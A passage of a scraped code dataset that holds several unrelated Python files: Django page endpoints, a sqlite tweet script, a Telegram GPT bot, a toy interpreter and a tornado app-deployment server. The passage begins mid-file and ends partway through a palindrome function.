.filter(workspace__slug=self.kwargs.get(\"slug\"))\n .filter(project_id=self.kwargs.get(\"project_id\"))\n .filter(page_id=self.kwargs.get(\"page_id\"))\n .filter(project__project_projectmember__member=self.request.user)\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"page\")\n .select_related(\"issue\")\n .order_by(\"sort_order\")\n .distinct()\n )\n\n def perform_create(self, serializer):\n serializer.save(\n project_id=self.kwargs.get(\"project_id\"),\n page_id=self.kwargs.get(\"page_id\"),\n )\n\n\nclass PageFavoriteViewSet(BaseViewSet):\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n serializer_class = PageFavoriteSerializer\n model = PageFavorite\n\n def get_queryset(self):\n return self.filter_queryset(\n super()\n .get_queryset()\n .filter(workspace__slug=self.kwargs.get(\"slug\"))\n .filter(user=self.request.user)\n .select_related(\"page\", \"page__owned_by\")\n )\n\n def create(self, request, slug, project_id):\n try:\n serializer = PageFavoriteSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save(user=request.user, project_id=project_id)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n except IntegrityError as e:\n if \"already exists\" in str(e):\n return Response(\n {\"error\": \"The page is already added to favorites\"},\n status=status.HTTP_410_GONE,\n )\n else:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n def destroy(self, request, slug, project_id, page_id):\n try:\n page_favorite = PageFavorite.objects.get(\n project=project_id,\n user=request.user,\n workspace__slug=slug,\n page_id=page_id,\n )\n page_favorite.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n except PageFavorite.DoesNotExist:\n return Response(\n {\"error\": \"Page is not in favorites\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n\nclass CreateIssueFromPageBlockEndpoint(BaseAPIView):\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n def post(self, request, slug, project_id, page_id, page_block_id):\n try:\n page_block = PageBlock.objects.get(\n pk=page_block_id,\n workspace__slug=slug,\n project_id=project_id,\n page_id=page_id,\n )\n issue = Issue.objects.create(\n name=page_block.name,\n project_id=project_id,\n description=page_block.description,\n description_html=page_block.description_html,\n description_stripped=page_block.description_stripped,\n )\n _ = IssueAssignee.objects.create(\n issue=issue, assignee=request.user, project_id=project_id\n )\n\n _ = IssueActivity.objects.create(\n issue=issue,\n actor=request.user,\n project_id=project_id,\n comment=f\"{request.user.email} created the issue from {page_block.name} block\",\n verb=\"created\",\n )\n\n page_block.issue = issue\n page_block.save()\n\n return Response(IssueLiteSerializer(issue).data, status=status.HTTP_200_OK)\n except PageBlock.DoesNotExist:\n return Response(\n {\"error\": \"Page Block does not exist\"}, status=status.HTTP_404_NOT_FOUND\n )\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n\nclass RecentPagesEndpoint(BaseAPIView):\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n def get(self, request, slug, project_id):\n try:\n subquery = PageFavorite.objects.filter(\n user=request.user,\n page_id=OuterRef(\"pk\"),\n project_id=project_id,\n workspace__slug=slug,\n )\n current_time = date.today()\n day_before = current_time - timedelta(days=1)\n\n todays_pages = (\n Page.objects.filter(\n updated_at__date=date.today(),\n workspace__slug=slug,\n project_id=project_id,\n )\n .filter(project__project_projectmember__member=request.user)\n .annotate(is_favorite=Exists(subquery))\n .filter(Q(owned_by=self.request.user) | Q(access=0))\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .prefetch_related(\"labels\")\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .order_by(\"-is_favorite\", \"-updated_at\")\n )\n\n yesterdays_pages = (\n Page.objects.filter(\n updated_at__date=day_before,\n workspace__slug=slug,\n project_id=project_id,\n )\n .filter(project__project_projectmember__member=request.user)\n .annotate(is_favorite=Exists(subquery))\n .filter(Q(owned_by=self.request.user) | Q(access=0))\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .prefetch_related(\"labels\")\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .order_by(\"-is_favorite\", \"-updated_at\")\n )\n\n earlier_this_week = (\n Page.objects.filter(\n updated_at__date__range=(\n (timezone.now() - timedelta(days=7)),\n (timezone.now() - timedelta(days=2)),\n ),\n workspace__slug=slug,\n project_id=project_id,\n )\n .annotate(is_favorite=Exists(subquery))\n .filter(Q(owned_by=self.request.user) | Q(access=0))\n .filter(project__project_projectmember__member=request.user)\n .annotate(is_favorite=Exists(subquery))\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .prefetch_related(\"labels\")\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .order_by(\"-is_favorite\", \"-updated_at\")\n )\n todays_pages_serializer = PageSerializer(todays_pages, many=True)\n yesterday_pages_serializer = PageSerializer(yesterdays_pages, many=True)\n earlier_this_week_serializer = PageSerializer(earlier_this_week, many=True)\n return Response(\n {\n \"today\": todays_pages_serializer.data,\n \"yesterday\": yesterday_pages_serializer.data,\n \"earlier_this_week\": earlier_this_week_serializer.data,\n },\n status=status.HTTP_200_OK,\n )\n except Exception as e:\n print(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n\nclass FavoritePagesEndpoint(BaseAPIView):\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n def get(self, request, slug, project_id):\n try:\n subquery = PageFavorite.objects.filter(\n user=request.user,\n page_id=OuterRef(\"pk\"),\n project_id=project_id,\n workspace__slug=slug,\n )\n pages = (\n Page.objects.filter(\n workspace__slug=slug,\n project_id=project_id,\n )\n .annotate(is_favorite=Exists(subquery))\n .filter(Q(owned_by=self.request.user) | Q(access=0))\n .filter(project__project_projectmember__member=request.user)\n .filter(is_favorite=True)\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .prefetch_related(\"labels\")\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .order_by(\"name\", \"-is_favorite\")\n )\n\n serializer = PageSerializer(pages, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n\nclass MyPagesEndpoint(BaseAPIView):\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n def get(self, request, slug, project_id):\n try:\n subquery = PageFavorite.objects.filter(\n user=request.user,\n page_id=OuterRef(\"pk\"),\n project_id=project_id,\n workspace__slug=slug,\n )\n pages = (\n Page.objects.filter(\n workspace__slug=slug, project_id=project_id, owned_by=request.user\n )\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .prefetch_related(\"labels\")\n .annotate(is_favorite=Exists(subquery))\n .filter(Q(owned_by=self.request.user) | Q(access=0))\n .filter(project__project_projectmember__member=request.user)\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .order_by(\"-is_favorite\", \"name\")\n )\n serializer = PageSerializer(pages, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n\nclass CreatedbyOtherPagesEndpoint(BaseAPIView):\n permission_classes = [\n ProjectEntityPermission,\n ]\n\n def get(self, request, slug, project_id):\n try:\n subquery = PageFavorite.objects.filter(\n user=request.user,\n page_id=OuterRef(\"pk\"),\n project_id=project_id,\n workspace__slug=slug,\n )\n pages = (\n Page.objects.filter(\n ~Q(owned_by=request.user),\n workspace__slug=slug,\n project_id=project_id,\n access=0,\n )\n .select_related(\"project\")\n .select_related(\"workspace\")\n .select_related(\"owned_by\")\n .prefetch_related(\"labels\")\n .annotate(is_favorite=Exists(subquery))\n .prefetch_related(\n Prefetch(\n \"blocks\",\n queryset=PageBlock.objects.select_related(\n \"page\", \"issue\", \"workspace\", \"project\"\n ),\n )\n )\n .order_by(\"-is_favorite\", \"name\")\n )\n serializer = PageSerializer(pages, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n except Exception as e:\n capture_exception(e)\n return Response(\n {\"error\": \"Something went wrong please try again later\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n","repo_name":"PaLangCODE/DraftIt","sub_path":"apiserver/plane/api/views/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":17452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8774684622","text":"import sqlite3\ndb_file = 'cancel.db'\nconn = None\ne = \"Couldn't connect to db.\"\ntry:\n conn = sqlite3.connect(db_file)\n print(sqlite3.version)\nexcept:\n print(e)\n\nprint(conn)\ncur = conn.cursor()\n\n# cur.execute(\"CREATE TABLE tweets(id, text)\")\n# cur.execute(\"ALTER TABLE tweets DROP COLUMN edit_history_tweet_ids\")\nres = cur.execute(\"SELECT name FROM sqlite_master\")\nprint(res.fetchone())\n# cur.execute(\"\"\"\n# INSERT INTO tweets VALUES\n# ('1616825171343458304', 'RT @Spd_content: What do you think https://t.co/PfDpMlu6TD')\n# \"\"\")\ntweets = dict()\ntweets['0'] = \"text 1\"\ntweets['1'] = \"text 2\"\n\n\nfor tweet in tweets:\n cur.execute(\"\"\"\n INSERT INTO tweets VALUES\n (?, ?)\n\"\"\", [tweet, tweets[tweet]])\n \nconn.commit()\nres = cur.execute(\"SELECT id FROM tweets\")\nprint(res.fetchall())\n\n# print(res.fetchone())","repo_name":"katelync12/boilerMakeHackathon2023","sub_path":"cancel_table.py","file_name":"cancel_table.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13896737766","text":"import datetime\nimport os\nimport tempfile\nimport time\nfrom pathlib import Path\n\nimport openai\nfrom pydub import AudioSegment\nfrom telegram import Update\nfrom telegram import Voice\nfrom telegram.ext import ApplicationBuilder\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import ContextTypes\nfrom telegram.ext import MessageHandler\nfrom telegram.ext import filters\n\nfrom .apis import GPT4\nfrom .apis import Whisper\nfrom .utils import get_cache_dir\nfrom .utils import get_logger\n\nlogger = get_logger(__name__)\n\n\nclass Bot:\n def __init__(self) -> None:\n logger.info(\"Initializing bot\")\n self._transcriber = Whisper()\n self._chatbot_class = GPT4\n self._chatbot = self._chatbot_class()\n telegram_token = os.environ[\"TELEGRAM_BOT_TOKEN\"]\n self._application = ApplicationBuilder().token(telegram_token).build()\n self._add_handlers()\n self._cache_dir = get_cache_dir()\n self._show_cost = False\n\n def _add_handlers(self) -> None:\n text_handler = MessageHandler(\n filters.TEXT & ~filters.COMMAND,\n self._text_callback,\n )\n self._application.add_handler(text_handler)\n\n voice_handler = MessageHandler(filters.VOICE, self._voice_callback)\n self._application.add_handler(voice_handler)\n\n new_session_handler = CommandHandler(\n \"new\",\n self._start_session,\n )\n self._application.add_handler(new_session_handler)\n\n async def _chat(self, text: str) -> tuple[str, float]:\n logger.info(\"Getting response from chatbot...\")\n await self._send(\"[Getting response from chatbot...]\")\n reply, cost = self._chatbot(text)\n logger.info(f'Reply received: \"{reply}\"')\n logger.info(f\"Cost: £{100 * cost:.3}p\")\n return reply, cost\n\n async def _send(self, message: str) -> None:\n assert self.update.effective_chat is not None\n await self.context.bot.send_message(\n chat_id=self.update.effective_chat.id,\n text=message,\n )\n\n def _set_update_context(\n self,\n update: Update,\n context: ContextTypes.DEFAULT_TYPE,\n ) -> None:\n self.update = update\n self.context = context\n\n async def _text_callback(\n self,\n update: Update,\n context: ContextTypes.DEFAULT_TYPE,\n ) -> None:\n self._set_update_context(update, context)\n if not await self._check_is_me():\n return\n assert update.message is not None\n text = update.message.text\n assert isinstance(text, str)\n logger.info(f'Text message received: \"{text}\"')\n reply, cost = await self._chat(text)\n assert update.effective_chat is not None\n if self._show_cost:\n await self._send(f\"[Cost: £{100 * cost:.3}p]\")\n await self._send(reply)\n\n async def _check_is_me(self) -> bool:\n my_client_id = int(os.environ[\"TELEGRAM_CLIENT_ID\"])\n assert self.update.effective_chat is not None\n is_me = self.update.effective_chat.id == my_client_id\n if is_me:\n return True\n else:\n await self._send(\"Sorry, I'm not allowed to chat with you.\")\n return False\n\n async def _start_session(\n self,\n update: Update,\n context: ContextTypes.DEFAULT_TYPE,\n ) -> None:\n self._set_update_context(update, context)\n if not await self._check_is_me():\n return\n message = f\"Initializing chatbot session ({self._chatbot_class.__name__})\"\n logger.info(message)\n _ = self._send(message)\n self._chatbot = self._chatbot_class()\n\n async def _get_mp3_from_voice(self, voice: Voice) -> Path:\n logger.info(f\"Voice message received ({voice.duration} seconds)\")\n voice_file = await voice.get_file()\n time_string = datetime.datetime.now().isoformat()\n filename = f\"{time_string}_voice.mp3\"\n mp3_path = self._cache_dir / filename\n with tempfile.NamedTemporaryFile(suffix=\".oga\") as f:\n oga_path = Path(f.name)\n await voice_file.download_to_drive(oga_path)\n oga_file: AudioSegment = AudioSegment.from_file(oga_path, format=\"ogg\")\n oga_file.export(mp3_path, format=\"mp3\")\n return mp3_path\n\n async def _voice_callback(\n self,\n update: Update,\n context: ContextTypes.DEFAULT_TYPE,\n max_num_attempts: int = 3,\n waiting_time: float = 1,\n ) -> None:\n self._set_update_context(update, context)\n if not await self._check_is_me():\n return\n\n assert update.message is not None\n assert isinstance(update.message.voice, Voice)\n voice = update.message.voice\n logger.info(f\"Voice message received ({voice.duration} seconds)\")\n mp3_path = await self._get_mp3_from_voice(voice)\n\n logger.info(\"Transcribing audio...\")\n assert update.effective_chat is not None\n await self._send(f\"[Transcribing {voice.duration} seconds of audio...]\")\n attempts = 0\n while attempts < max_num_attempts:\n try:\n transcript = self._transcriber(mp3_path)\n logger.info(f'Transcript: \"{transcript}\"')\n await self._send(f'[Transcript: \"{transcript}\"]')\n reply, cost = await self._chat(transcript)\n if self._show_cost:\n await self._send(f\"[Cost: £{100 * cost:.3}p]\")\n await self._send(reply)\n return\n except openai.error.APIConnectionError:\n await self._send(\"[Transcription error. Trying again...]\")\n attempts += 1\n time.sleep(waiting_time)\n await self._send(\"[Transcription API not working. Try using text...]\")\n\n def run(self) -> None:\n logger.info(\"The bot is ready\")\n self._application.run_polling()\n","repo_name":"fepegar/telegram-gpt-bot","sub_path":"src/telegpt/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"3217300635","text":"from constants import *\nfrom errors import RTError\n\nclass RTResult:\n def __init__(self):\n self.value = None\n self.error = None\n\n def register(self ,res):\n if res.error:\n self.error = res.error\n return res.value\n \n def success(self , value):\n self.value = value\n return self\n\n def failure(self , error):\n self.error = error\n return self\n\n\nclass Number:\n def __init__(self, value):\n self.value = value\n self.set_pos()\n self.set_context()\n \n def set_pos(self, pos_start = None, pos_end = None):\n self.pos_start = pos_start\n self.pos_end = pos_end\n return self\n \n def set_context(self, context=None):\n self.context = context\n return self\n\n def copy(self):\n copy = Number(self.value)\n copy.set_pos(self.pos_start, self.pos_end)\n copy.set_context(self.context)\n return copy\n\n def added_to(self, other):\n if isinstance(other, Number):\n return Number(self.value + other.value).set_context(self.context), None\n \n def subbed_by(self, other):\n if isinstance(other, Number):\n return Number(self.value - other.value).set_context(self.context), None\n \n def multed_by(self, other):\n if isinstance(other, Number):\n return Number(self.value * other.value).set_context(self.context), None\n \n def divided_by(self, other):\n if isinstance(other, Number):\n if other.value == 0:\n return None, RTError(other.pos_start, other.pos_end, 'Division by Zero', self.context)\n else:\n return Number(self.value / other.value).set_context(self.context), None\n\n def power_to(self,other):\n if isinstance(other,Number):\n return Number(self.value ** other.value).set_context(self.context), None\n\n def get_comparison_eq(self, other):\n if isinstance(other,Number):\n return Number(int(self.value == other.value)).set_context(self.context), None\n\n def get_comparison_ne(self, other):\n if isinstance(other,Number):\n return Number(int(self.value != other.value)).set_context(self.context), None\n\n def get_comparison_lt(self, other):\n if isinstance(other,Number):\n return Number(int(self.value < other.value)).set_context(self.context), None\n \n def get_comparison_gt(self, other):\n if isinstance(other,Number):\n return Number(int(self.value > other.value)).set_context(self.context), None\n \n def get_comparison_lte(self, other):\n if isinstance(other,Number):\n return Number(int(self.value <= other.value)).set_context(self.context), None\n\n def get_comparison_gte(self, other):\n if isinstance(other,Number):\n return Number(int(self.value >= other.value)).set_context(self.context), None\n \n def anded_by(self, other):\n if isinstance(other,Number):\n return Number(int(self.value and other.value)).set_context(self.context), None\n\n def ored_by(self, other):\n if isinstance(other,Number):\n return Number(int(self.value or other.value)).set_context(self.context), None \n\n def notted(self):\n return Number(1 if self.value == 0 else 0).set_context(self.context), None\n\n def is_true(self):\n return (self.value != 0)\n\n def __str__(self):\n return str(self.value)\n\n\nclass Context:\n def __init__(self, display_name, parent = None, parent_entry_pos=None):\n self.display_name = display_name\n self.parent = parent\n self.parent_entry_pos = parent_entry_pos\n self.symbol_table = None\n\n\n\nclass Interpreter:\n def visit(self,node, context):\n method_name = \"visit_\" + str(type(node).__name__)\n method = getattr(self, method_name, self.no_visit_method)\n return method(node, context)\n\n def no_visit_method(self, node, context):\n raise Exception(\"No visit_\" + str(type(node).__name__) + \" method defined\")\n \n def visit_NumberNode(self, node, context):\n return RTResult().success(Number(node.tok.value).set_context(context).set_pos(node.pos_start, node.pos_end))\n \n def visit_VarAssignNode(self, node, context):\n res = RTResult()\n var_name = node.var_name_tok.value\n value = res.register(self.visit(node.value, context))\n if res.error:\n return res\n\n context.symbol_table.set(var_name, value)\n return res.success(value)\n\n def visit_VarAccessNode(self, node, context):\n res = RTResult()\n var_name = node.var_name_tok.value\n value = context.symbol_table.get(var_name)\n\n if not value:\n return res.failure(RTError(node.pos_start, node.pos_end, var_name+ \" is not defined\", context))\n\n value = value.copy().set_pos(node.pos_start, node.pos_end)\n return res.success(value)\n\n def visit_BinOpNode(self,node, context):\n res = RTResult()\n\n left = res.register(self.visit(node.left_node, context))\n \n if res.error:\n return res\n \n right = res.register(self.visit(node.right_node, context))\n if res.error:\n return res\n \n if node.op_tok.type == TT_PLUS:\n result, error = left.added_to(right)\n elif node.op_tok.type == TT_MINUS:\n result, error = left.subbed_by(right)\n elif node.op_tok.type == TT_MUL:\n result, error = left.multed_by(right)\n elif node.op_tok.type == TT_DIV:\n result, error = left.divided_by(right)\n elif node.op_tok.type == TT_POW:\n result, error = left.power_to(right)\n elif node.op_tok.type == TT_EE:\n result, error = left.get_comparison_eq(right)\n elif node.op_tok.type == TT_NE:\n result, error = left.get_comparison_ne(right)\n elif node.op_tok.type == TT_LT:\n result, error = left.get_comparison_lt(right)\n elif node.op_tok.type == TT_GT:\n result, error = left.get_comparison_gt(right)\n elif node.op_tok.type == TT_LTE:\n result, error = left.get_comparison_lte(right)\n elif node.op_tok.type == TT_GTE:\n result, error = left.get_comparison_gte(right)\n elif node.op_tok.matches(TT_KEYWORD, 'AND'):\n result, error = left.anded_by(right)\n elif node.op_tok.matches(TT_KEYWORD, 'OR'):\n result, error = left.ored_by(right)\n\n \n if error:\n return res.failure(error)\n\n return res.success(result.set_pos(node.pos_start, node.pos_end))\n\n def visit_UnaryOpNode(self, node, context):\n res = RTResult()\n number = res.register(self.visit(node.node, context))\n\n if res.error:\n return res\n \n error = None\n\n if node.op_tok.type == TT_MINUS:\n number,error = number.multed_by(Number(-1))\n\n if node.op_tok.matches(TT_KEYWORD, 'NOT'):\n number, error = number.notted()\n \n if error:\n return res.failure(error)\n \n return res.success(number.set_pos(node.pos_start, node.pos_end))\n\n \n def visit_IfNode(self, node, context):\n res = RTResult()\n\n for condition, expr in node.cases:\n condition_value = res.register(self.visit(condition, context))\n if res.error:\n return res\n\n if condition_value.is_true():\n expr_value = res.register(self.visit(expr, context))\n if res.error:\n return res\n\n return res.success(expr_value)\n\n if node.else_case:\n else_value = res.register(self.visit(node.else_case, context))\n if res.error:\n return res\n\n return res.success(else_value)\n\n return res.success(None)\n\n def visit_ForNode(self, node, context):\n res = RTResult()\n start_value = res.register(self.visit(node.start_value, context))\n\n if res.error:\n return res\n \n end_value = res.register(self.visit(node.end_value, context))\n\n if node.step_value:\n step_value = res.register(self.visit(node.step_value, context))\n if res.error: return res\n else:\n step_value = Number(1)\n\n i = start_value.value\n\n if step_value.value >= 0:\n condition = lambda: iend_value.value\n\n while condition():\n context.symbol_table.set(node.var_name_tok.value, Number(i))\n i += step_value.value\n res.register(self.visit(node.body, context))\n if res.error: return res\n\n return res.success(None)\n\n def visit_WhileNode(self, node, context):\n res = RTResult()\n\n while True:\n condition = res.register(self.visit(node.condition, context))\n if res.error:\n return res\n\n if not condition.is_true():\n break\n\n res.register(self.visit(node.body,context))\n\n if res.error:\n return res\n \n return res.success(None)","repo_name":"nishant-sachdeva/PyInterpreter","sub_path":"src/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":9247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31690576729","text":"import json\nimport logging.config\nfrom io import BytesIO\nfrom os import path\nfrom typing import Optional\nfrom zipfile import ZipFile\n\nfrom server.domain import Application\nfrom server.errors import (\n APP_NOT_FOUND_MESSAGE,\n FILE_EXPECTED_MESSAGE,\n RESOURCE_ID_EXPECTED_MESSAGE,\n UNEXPECTED_PARAM_MESSAGE,\n handle_internal_error,\n)\nfrom server.services import (\n create_application_environment,\n create_db_instance,\n destroy_application_environment,\n destroy_db_instance,\n get_app_environment_data,\n log_event,\n update_application_environment,\n validate_package,\n)\nfrom server.settings import settings\nfrom server.validation import (\n APP_DESCRIPTION_VARIABLE_NAME,\n APP_NAME_VARIABLE_NAME,\n get_validation_rules,\n)\nfrom tornado import web, websocket\nfrom tornado.websocket import WebSocketClosedError\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_db_data(env_data: dict) -> dict:\n return {\n 'DB_PORT': env_data.get('DB_PORT', 5432),\n 'DB_PASSWORD': env_data.get('DB_PASSWORD'),\n 'DB_USER': env_data.get('DB_USER'),\n }\n\n\nclass WebSocketHandler(websocket.WebSocketHandler):\n uid: str\n\n def open(self, *args: str, **kwargs: str) -> None:\n query_param = self.request.query_arguments.get('client')\n if not query_param:\n return\n\n client_uid = query_param[0].decode()\n self.uid = client_uid\n\n self.application.ws_connections.add(self)\n\n def on_close(self) -> None:\n self.application.ws_connections.remove(self)\n\n def check_origin(self, origin: str) -> bool:\n return True\n\n\nclass BaseHandler(web.RequestHandler):\n app_uid: Optional[str]\n ws: Optional['WebSocketHandler']\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.repository = self.application.settings['repository']\n self.configurator = self.application.settings['configurator']\n self.docker = self.application.settings['docker']\n\n def set_default_headers(self) -> None:\n self.set_header('Access-Control-Allow-Origin', '*')\n self.set_header(\n 'Access-Control-Allow-Methods', 'GET, PUT, POST, DELETE, OPTIONS'\n )\n self.set_header('Access-Control-Allow-Headers', settings.CLIENT_UID_HEADER)\n\n def options(self, *args, **kwargs):\n self.set_status(200)\n self.finish()\n\n async def _handle_error(self) -> None:\n if self.app_uid is not None:\n await self.configurator.unregister_app(self.app_uid)\n destroy_application_environment(self.app_uid)\n\n await self.notify_client('done')\n\n async def handle_client_error(self, status: int, error: str) -> None:\n await self._handle_error()\n\n self.set_status(status)\n await self.finish(error)\n\n async def handle_internal_error(self, error: str) -> None:\n await self._handle_error()\n\n self.set_status(500)\n await self.finish(error)\n\n async def notify_client(self, message: str) -> None:\n if not self.ws:\n return\n\n try:\n await self.ws.write_message(message)\n except WebSocketClosedError:\n log_event('websocket closed')\n\n\nclass ApplicationsHandler(BaseHandler):\n \"\"\"\n Принимает zip архив приложения, создаёт для него\n окружение, обновляет конфигурацию веб-сервера\n и сохраняет в бд данные о приложении.\n \"\"\"\n\n def prepare(self) -> None:\n self.app_uid = None\n\n client_uid = self.request.headers.get(settings.CLIENT_UID_HEADER)\n found_ws = [\n ws for ws in self.application.ws_connections if ws.uid == client_uid\n ]\n self.ws = found_ws[0] if found_ws else None\n\n async def get(self, app_id: Optional[str] = None):\n if app_id is None:\n apps = await self.repository.list()\n query_data = [app.dict() for app in apps]\n else:\n app = await self.repository.get(id=app_id)\n self.app_uid = app.uid\n query_data = app.dict()\n\n if query_data is None:\n raise web.HTTPError(404, reason=APP_NOT_FOUND_MESSAGE)\n\n result = json.dumps(query_data)\n return self.write(result)\n\n def _get_request_file(self) -> Optional['ZipFile']:\n files = self.request.files\n file_data = files.get('zipfile')\n\n if not file_data:\n return None\n\n file_body = file_data[0].get('body')\n\n if file_body is None:\n return None\n\n return ZipFile(BytesIO(file_body), 'r')\n\n def _get_db_option(self) -> bool:\n request_data = self.request.body_arguments.get('options')\n\n if not request_data:\n return False\n\n decoded_options = request_data[0].decode()\n options = json.loads(decoded_options)\n\n create_db = options.get('createDb', False)\n return create_db\n\n @handle_internal_error\n async def post(self, param=None):\n if param is not None:\n raise web.HTTPError(400, reason=UNEXPECTED_PARAM_MESSAGE)\n\n file = self._get_request_file()\n create_db = self._get_db_option()\n\n validation_rules = get_validation_rules(create_db)\n\n if not file:\n raise web.HTTPError(400, reason=FILE_EXPECTED_MESSAGE)\n\n validate_package(file, validation_rules)\n\n await self.notify_client('Creating application environment')\n\n self.app_uid = create_application_environment(file)\n environment_variables = get_app_environment_data(self.app_uid)\n\n app_meta = {}\n\n if create_db:\n db_data = get_db_data(environment_variables)\n\n await self.notify_client('Creating db instance')\n\n container_id = create_db_instance(self.docker, db_data)\n app_meta.update(db_container_id=container_id)\n\n await self.notify_client('Registering app configuration')\n\n result_data = await self.configurator.register_app(\n self.app_uid, environment_variables\n )\n app_meta.update(**(result_data or {}))\n\n app_name = environment_variables.get(APP_NAME_VARIABLE_NAME)\n app_description = environment_variables.get(APP_DESCRIPTION_VARIABLE_NAME)\n\n app = Application(\n uid=self.app_uid, name=app_name, description=app_description, **app_meta\n )\n app_id = await self.repository.add(app)\n\n await self.notify_client('done')\n\n app_data = {'id': app_id, **app.dict()}\n\n self.set_status(201)\n self.write(app_data)\n\n @handle_internal_error\n async def put(self, app_id: str = None):\n if app_id is None:\n raise web.HTTPError(400, reason=RESOURCE_ID_EXPECTED_MESSAGE)\n\n file = self._get_request_file()\n\n if not file:\n raise web.HTTPError(400, reason=FILE_EXPECTED_MESSAGE)\n\n app_to_update = await self.repository.get(id=app_id)\n\n if app_to_update is None:\n raise web.HTTPError(404, reason=APP_NOT_FOUND_MESSAGE)\n\n self.app_uid = app_to_update.uid\n\n await self.notify_client('Updating application environment')\n\n await update_application_environment(app_to_update.uid, file)\n environment_variables = get_app_environment_data(self.app_uid)\n\n await self.notify_client('Reloading app configuration')\n\n await self.configurator.reload_app(self.app_uid, environment_variables)\n\n data_to_update = {\n 'name': environment_variables.get(APP_NAME_VARIABLE_NAME),\n 'description': environment_variables.get(APP_DESCRIPTION_VARIABLE_NAME),\n }\n updated_app = await self.repository.update(app_id, data_to_update)\n\n await self.notify_client('done')\n\n self.set_status(200)\n self.write(updated_app.dict())\n\n @handle_internal_error\n async def delete(self, app_id: str = None):\n if app_id is None:\n raise web.HTTPError(400, reason=RESOURCE_ID_EXPECTED_MESSAGE)\n\n app_to_delete = await self.repository.get(id=app_id)\n\n if app_to_delete is None:\n raise web.HTTPError(404, reason=APP_NOT_FOUND_MESSAGE)\n\n uid = app_to_delete.uid\n\n if app_to_delete.db_container_id is not None:\n await self.notify_client('Destroying db instance')\n\n destroy_db_instance(self.docker, app_to_delete.db_container_id)\n\n await self.notify_client('Unregistering app configuration')\n\n await self.configurator.unregister_app(uid)\n\n await self.notify_client('Destroying app environment')\n\n destroy_application_environment(uid)\n await self.repository.delete(id=app_id)\n\n await self.notify_client('done')\n\n self.set_status(204)\n\n\nclass AppStorageApplication(web.Application):\n ws_connections = set()\n\n\ndef make_app(options) -> 'AppStorageApplication':\n static_path = path.join(settings.BASE_DIR, 'client', 'build', 'static')\n template_path = path.join(settings.BASE_DIR, 'client', 'build')\n\n logging.config.dictConfig(settings.logging)\n\n routes = [\n (r'/applications/', ApplicationsHandler),\n (r'/applications/([^/]+)/?', ApplicationsHandler),\n (r'/ws/', WebSocketHandler),\n ]\n\n return AppStorageApplication(\n routes, static_path=static_path, template_path=template_path, **options,\n )\n","repo_name":"badcookie/app-storage","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25431476655","text":"def palindromeIndex(s):\n if(s == s[::-1]):\n return -1\n\n for i in range((len(s)//2) + (len(s)%2)):\n if s[i] != s[-i-1]:\n if 